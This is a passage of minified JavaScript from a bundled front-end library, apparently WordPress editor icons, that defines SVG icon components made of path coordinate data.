20h-8v-1.5h8V20ZM5 9h14v6H5V9Z"})});var gx=o(L(),1),rP=o(v(),1),bp=(0,rP.jsx)(gx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,rP.jsx)(gx.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M10 4.5a1 1 0 11-2 0 1 1 0 012 0zm1.5 0a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm2.25 7.5v-1A2.75 2.75 0 0011 8.25H7A2.75 2.75 0 004.25 11v1h1.5v-1c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v1h1.5zM4 20h9v-1.5H4V20zm16-4H4v-1.5h16V16z"})});var vx=o(L(),1),oP=o(v(),1),kf=(0,oP.jsx)(vx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,oP.jsx)(vx.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M20 4H4v1.5h16V4zm-2 9h-3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3zM4 9.5h9V8H4v1.5zM9 13H6c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3z"})});var bx=o(L(),1),aP=o(v(),1),Z0=(0,aP.jsx)(bx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,aP.jsx)(bx.Path,{d:"M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-2.2 6.6H7l1.6-2.2c.3-.4.5-.7.6-.9.1-.2.2-.4.2-.5 0-.2-.1-.3-.1-.4-.1-.1-.2-.1-.4-.1s-.4 0-.6.1c-.3.1-.5.3-.7.4l-.2.2-.2-1.2.1-.1c.3-.2.5-.3.8-.4.3-.1.6-.1.9-.1.3 0 .6.1.9.2.2.1.4.3.6.5.1.2.2.5.2.7 0 .3-.1.6-.2.9-.1.3-.4.7-.7 1.1l-.5.6h1.6v1.2z"})});var yx=o(L(),1),nP=o(v(),1),iP=(0,nP.jsx)(yx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,nP.jsx)(yx.Path,{d:"M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-.5 6.6H6.7l-1.2 1.2v-6.3h7v5.1z"})});var xx=o(L(),1),lP=o(v(),1),sP=(0,lP.jsx)(xx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,lP.jsx)(xx.Path,{d:"M14 10.1V4c0-.6-.4-1-1-1H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1zm-1.5-.5H6.7l-1.2 1.2V4.5h7v5.1zM19 12h-8c-.6 0-1 .4-1 1v6.1c0 .6.4 1 1 1h5.7l1.8 1.8c.1.2.4.3.6.3.1 0 .2 0 .3-.1.4-.1.6-.5.6-.8V13c0-.6-.4-1-1-1zm-.5 7.8l-1.2-1.2h-5.8v-5.1h7v6.3z"})});var _x=o(L(),1),cP=o(v(),1),uP=(0,cP.jsx)(_x.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,cP.jsx)(_x.Path,{d:"M4 6h12V4.5H4V6Zm16 4.5H4V9h16v1.5ZM4 15h16v-1.5H4V15Zm0 4.5h16V18H4v1.5Z"})});var K0=o(L(),1),Q0=o(v(),1),Y0=(0,Q0.jsxs)(K0.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Q0.jsx)(K0.Path,{d:"M11.696 13.972c.356-.546.599-.958.728-1.235a1.79 1.79 0 00.203-.783c0-.264-.077-.47-.23-.618-.148-.153-.354-.23-.618-.23-.295 0-.569.07-.82.212a3.413 3.413 0 00-.738.571l-.147-1.188c.289-.234.59-.41.903-.526.313-.117.66-.175 1.041-.175.375 0 .695.08.959.24.264.153.46.362.59.626.135.265.203.556.203.876 0 .362-.08.734-.24 1.115-.154.381-.427.87-.82 1.466l-.756 1.152H14v1.106h-4l1.696-2.609z"}),(0,Q0.jsx)(K0.Path,{d:"M19.5 7h-15v12a.5.5 0 00.5.5h14a.5.5 0 00.5-.5V7zM3 7V5a2 2 0 012-2h14a2 2 0 012 2v14a2 2 0 01-2 2H5a2 2 0 01-2-2V7z"})]});var kx=o(L(),1),mP=o(v(),1),pP=(0,mP.jsx)(kx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,mP.jsx)(kx.Path,{d:"M8.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H4v-3h4.001ZM4 20h9v-1.5H4V20Zm16-4H4v-1.5h16V16ZM13.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H9v-3h4.001Z"})});var wx=o(L(),1),dP=o(v(),1),fP=(0,dP.jsx)(wx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,dP.jsx)(wx.Path,{d:"M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z"})});var Cx=o(L(),1),hP=o(v(),1),X0=(0,hP.jsx)(Cx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,hP.jsx)(Cx.Path,{d:"M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z"})});var Sx=o(L(),1),gP=o(v(),1),vP=(0,gP.jsx)(Sx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,gP.jsx)(Sx.Path,{d:"M8.1 12.3c.1.1.3.3.5.3.2.1.4.1.6.1.2 0 .4 0 .6-.1.2-.1.4-.2.5-.3l3-3c.3-.3.5-.7.5-1.1 0-.4-.2-.8-.5-1.1L9.7 3.5c-.1-.2-.3-.3-.5-.3H5c-.4 0-.8.4-.8.8v4.2c0 .2.1.4.2.5l3.7 3.6zM5.8 4.8h3.1l3.4 3.4v.1l-3 3 .5.5-.7-.5-3.3-3.4V4.8zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"})});var Tx=o(L(),1),bP=o(v(),1),yP=(0,bP.jsx)(Tx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,bP.jsx)(Tx.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 16.5h6V15H7v1.5zm4-4h6V11h-6v1.5zM9 11H7v1.5h2V11zm6 5.5h2V15h-2v1.5z"})});var Px=o(L(),1),xP=o(v(),1),_P=(0,xP.jsx)(Px.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,xP.jsx)(Px.Path,{d:"M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z"})});var Bx=o(L(),1),kP=o(v(),1),wP=(0,kP.jsx)(Bx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,kP.jsx)(Bx.Path,{d:"M4 18h6V6H4v12zm9-9.5V10h7V8.5h-7zm0 7h7V14h-7v1.5z"})});var Ix=o(L(),1),CP=o(v(),1),SP=(0,CP.jsx)(Ix.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,CP.jsx)(Ix.Path,{d:"M14 6v12h6V6h-6zM4 10h7V8.5H4V10zm0 5.5h7V14H4v1.5z"})});var Ex=o(L(),1),TP=o(v(),1),PP=(0,TP.jsx)(Ex.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,TP.jsx)(Ex.Path,{d:"M18 8H6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-4c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v4zM4 4v1.5h16V4H4zm0 16h16v-1.5H4V20z"})});var Nx=o(L(),1),BP=o(v(),1),J0=(0,BP.jsx)(Nx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,BP.jsx)(Nx.Path,{d:"M5 13.5h3v-3H5v3zm5 0h3v-3h-3v3zM17 9l-1 1 2 2-2 2 1 1 3-3-3-3z"})});var Dx=o(L(),1),IP=o(v(),1),e1=(0,IP.jsx)(Dx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,IP.jsx)(Dx.Path,{d:"M4 13.5h6v-3H4v3zm8.2-2.5.8-.3V14h1V9.3l-2.2.7.4 1zm7.1-1.2c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3-.1-.8-.3-1.1z"})});var Lx=o(L(),1),EP=o(v(),1),t1=(0,EP.jsx)(Lx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,EP.jsx)(Lx.Path,{d:"M16 10.5v3h3v-3h-3zm-5 3h3v-3h-3v3zM7 9l-3 3 3 3 1-1-2-2 2-2-1-1z"})});var Mx=o(L(),1),NP=o(v(),1),r1=(0,NP.jsx)(Mx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,NP.jsx)(Mx.Path,{d:"M4 13.5h6v-3H4v3zm8 0h3v-3h-3v3zm5-3v3h3v-3h-3z"})});var Ax=o(L(),1),DP=o(v(),1),LP=(0,DP.jsx)(Ax.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,DP.jsx)(Ax.Path,{d:"M13 6v6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H13zm-9 6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H4v6z"})});var Rx=o(L(),1),MP=o(v(),1),AP=(0,MP.jsx)(Rx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,MP.jsx)(Rx.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"m13.955 20.748 8-17.5-.91-.416L19.597 6H13.5v1.5h5.411l-1.6 3.5H13.5v1.5h3.126l-1.6 3.5H13.5l.028 1.5h.812l-1.295 2.832.91.416ZM17.675 16l-.686 1.5h4.539L21.5 16h-3.825Zm2.286-5-.686 1.5H21.5V11h-1.54ZM2 12c0 3.58 2.42 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.48 0-4.5-1.52-4.5-4S5.52 7.5 8 7.5h3.5V6H8c-3.58 0-6 2.42-6 6Z"})});var zx=o(L(),1),RP=o(v(),1),zP=(0,RP.jsx)(zx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,RP.jsx)(zx.Path,{d:"M7 11.5h10V13H7z"})});var Vx=o(L(),1),VP=o(v(),1),FP=(0,VP.jsx)(Vx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,VP.jsx)(Vx.Path,{d:"M7 18h4.5v1.5h-7v-7H6V17L17 6h-4.5V4.5h7v7H18V7L7 18Z"})});var Fx=o(L(),1),OP=o(v(),1),HP=(0,OP.jsx)(Fx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,OP.jsx)(Fx.Path,{d:"M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z"})});var Ox=o(L(),1),jP=o(v(),1),o1=(0,jP.jsx)(Ox.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,jP.jsx)(Ox.Path,{d:"M5 10.2h-.8v1.5H5c1.9 0 3.8.8 5.1 2.1 1.4 1.4 2.1 3.2 2.1 5.1v.8h1.5V19c0-2.3-.9-4.5-2.6-6.2-1.6-1.6-3.8-2.6-6.1-2.6zm10.4-1.6C12.6 5.8 8.9 4.2 5 4.2h-.8v1.5H5c3.5 0 6.9 1.4 9.4 3.9s3.9 5.8 3.9 9.4v.8h1.5V19c0-3.9-1.6-7.6-4.4-10.4zM4 20h3v-3H4v3z"})});var Hx=o(L(),1),UP=o(v(),1),a1=(0,UP.jsx)(Hx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,UP.jsx)(Hx.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})});var jx=o(L(),1),GP=o(v(),1),WP=(0,GP.jsx)(jx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,GP.jsx)(jx.Path,{d:"M4.5 12.5v4H3V7h1.5v3.987h15V7H21v9.5h-1.5v-4h-15Z"})});var Ux=o(L(),1),$P=o(v(),1),n1=(0,$P.jsx)(Ux.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,$P.jsx)(Ux.Path,{d:"M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"})});var Gx=o(L(),1),qP=o(v(),1),i1=(0,qP.jsx)(Gx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,qP.jsx)(Gx.Path,{d:"M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z"})});var Wx=o(L(),1),ZP=o(v(),1),KP=(0,ZP.jsx)(Wx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ZP.jsx)(Wx.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})});var $x=o(L(),1),QP=o(v(),1),YP=(0,QP.jsx)($x.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,QP.jsx)($x.Path,{d:"M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm0 1.5c3.4 0 6.2 2.7 6.5 6l-1.2-.6-.8-.4c-.1 0-.2 0-.3-.1H16c-.1-.2-.4-.2-.7 0l-2.9 2.1L9 11.3h-.7L5.5 13v-1.1c0-3.6 2.9-6.5 6.5-6.5Zm0 13c-2.7 0-5-1.7-6-4l2.8-1.7 3.5 1.2h.4s.2 0 .4-.2l2.9-2.1.4.2c.6.3 1.4.7 2.1 1.1-.5 3.1-3.2 5.4-6.4 5.4Z"})});var qx=o(L(),1),XP=o(v(),1),JP=(0,XP.jsx)(qx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,XP.jsx)(qx.Path,{fill:"none",d:"M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25",stroke:"currentColor",strokeWidth:"1.5",strokeLinecap:"square"})});var Zx=o(L(),1),eB=o(v(),1),tB=(0,eB.jsx)(Zx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,eB.jsx)(Zx.Path,{d:"M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z"})});var Kx=o(L(),1),rB=o(v(),1),l1=(0,rB.jsx)(Kx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,rB.jsx)(Kx.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});var Qx=o(L(),1),oB=o(v(),1),aB=(0,oB.jsx)(Qx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,oB.jsx)(Qx.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});var Yx=o(L(),1),nB=o(v(),1),iB=(0,nB.jsx)(Yx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,nB.jsx)(Yx.Path,{d:"M4 16.5h13V15H4v1.5ZM4 12v1.5h16V12H4Zm1.5-4.2c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5V7.8c0-1-.8-1.8-1.8-1.8H5.6c-1 0-1.8.8-1.8 1.8v2.5h1.5V7.8Z"})});var Xx=o(L(),1),lB=o(v(),1),sB=(0,lB.jsx)(Xx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,lB.jsx)(Xx.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm0-5.5h-4v-4h4v4Zm0-5.5h-4V5c0-.3.2-.5.5-.5h3.5v4Zm11 10.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14Zm-4-10.8H14v3h-3v1.5h3v3h1.5v-3h3v-1.5h-3v-3Z"})});var Jx=o(L(),1),cB=o(v(),1),uB=(0,cB.jsx)(Jx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,cB.jsx)(Jx.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1 .8 1.9 1.8 2H19.2c.9-.1 1.7-.9 1.8-1.8V5c0-1.1-.9-2-2-2Zm-5 16.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h9v15Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19Zm0-5h-4v-4h4v4Zm0-5.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-11 7.3H10v-3h3v-1.5h-3v-3H8.5v3h-3v1.5h3v3Z"})});var e_=o(L(),1),mB=o(v(),1),pB=(0,mB.jsx)(e_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,mB.jsx)(e_.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h3.5v15Zm11-.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14ZM16.9 8.8l-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1L18 9.9l-1.1-1.1Z"})});var s1=o(L(),1),c1=o(v(),1),u1=(0,c1.jsxs)(s1.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,c1.jsx)(s1.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M20 9.484h-8.889v-1.5H20v1.5Zm0 7h-4.889v-1.5H20v1.5Zm-14 .032a1 1 0 1 0 0-2 1 1 0 0 0 0 2Zm0 1a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z"}),(0,c1.jsx)(s1.Path,{d:"M13 15.516a2 2 0 1 1-4 0 2 2 0 0 1 4 0ZM8 8.484a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z"})]});var t_=o(L(),1),dB=o(v(),1),fB=(0,dB.jsx)(t_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,dB.jsx)(t_.Path,{d:"M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm-9 1.5h4v4h-4v-4ZM4.5 5c0-.3.2-.5.5-.5h3.5v4h-4V5Zm15 14c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-8.3 10h1.5v-3h3V14h-3v-3h-1.5v3h-3v1.5h3v3Z"})});var r_=o(L(),1),hB=o(v(),1),gB=(0,hB.jsx)(r_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,hB.jsx)(r_.Path,{d:"M21 5c0-1.1-.9-2-2-2H5c-1 0-1.9.8-2 1.8V19.2c.1.9.9 1.7 1.8 1.8H19c1.1 0 2-.9 2-2V5ZM4.5 14V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v9h-15Zm4 5.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm5.5 0h-4v-4h4v4Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19ZM11.2 10h-3V8.5h3v-3h1.5v3h3V10h-3v3h-1.5v-3Z"})});var o_=o(L(),1),vB=o(v(),1),bB=(0,vB.jsx)(o_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,vB.jsx)(o_.Path,{d:"M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-15V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v3.5Zm-9.6 9.4 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1 2.1-2.1-1.1-1.1-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1Z"})});var a_=o(L(),1),yB=o(v(),1),xB=(0,yB.jsx)(a_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,yB.jsx)(a_.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 2v6.2h-6.8V4.4h6.2c.3 0 .5.2.5.5ZM5 4.5h6.2v6.8H4.4V5.1c0-.3.2-.5.5-.5ZM4.5 19v-6.2h6.8v6.8H5.1c-.3 0-.5-.2-.5-.5Zm14.5.5h-6.2v-6.8h6.8v6.2c0 .3-.2.5-.5.5Z"})});var n_=o(L(),1),_B=o(v(),1),kB=(0,_B.jsx)(n_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_B.jsx)(n_.Path,{d:"M14 11.25a.25.25 0 0 0-.25-.25h-3.5a.25.25 0 0 0-.25.25v2.5H8.5v-2.5c0-.966.784-1.75 1.75-1.75h3.5c.966 0 1.75.784 1.75 1.75v2.5H14v-2.5Z"})});var i_=o(L(),1),wB=o(v(),1),CB=(0,wB.jsx)(i_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,wB.jsx)(i_.Path,{d:"M18.2 9.5h-3.5c-1 0-1.8.8-1.8 1.8v2.5h1.5v-2.5c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5v-2.5c0-1-.8-1.8-1.8-1.8Zm-9 0H5.7c-1 0-1.8.8-1.8 1.8v2.5h7v-2.5c0-1-.8-1.8-1.8-1.8Z"})});var l_=o(L(),1),SB=o(v(),1),TB=(0,SB.jsx)(l_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,SB.jsx)(l_.Path,{d:"M4 16.5h13V15H4v1.5Zm0-3h16V12H4v1.5ZM18.2 6h-3.5c-1 0-1.8.8-1.8 1.8v2.5h1.5V7.8c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5V7.8c0-1-.8-1.8-1.8-1.8ZM11 7.8c0-1-.8-1.8-1.8-1.8H5.7c-1 0-1.8.8-1.8 1.8v2.5h7V7.8Z"})});var s_=o(L(),1),PB=o(v(),1),m1=(0,PB.jsx)(s_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,PB.jsx)(s_.Path,{d:"M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z"})});var p1=o(L(),1),d1=o(v(),1),BB=(0,d1.jsxs)(p1.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,d1.jsx)(p1.Path,{d:"M 12.841306,16.677917 12.001264,12.71529 Q 11.835801,11.930402 11.695793,11.417042 11.560029,10.89944 11.398809,10.568514 11.237588,10.237588 11,10 10.635133,9.6351329 10.219354,9.6351329 9.8078183,9.6308902 9.4387086,10 8.9932313,10.445477 8.8574668,11.022476 8.7259449,11.595233 8.7259449,12.155262 L 7.4955791,11.196425 Q 7.5719467,10.509117 7.8307477,9.9109045 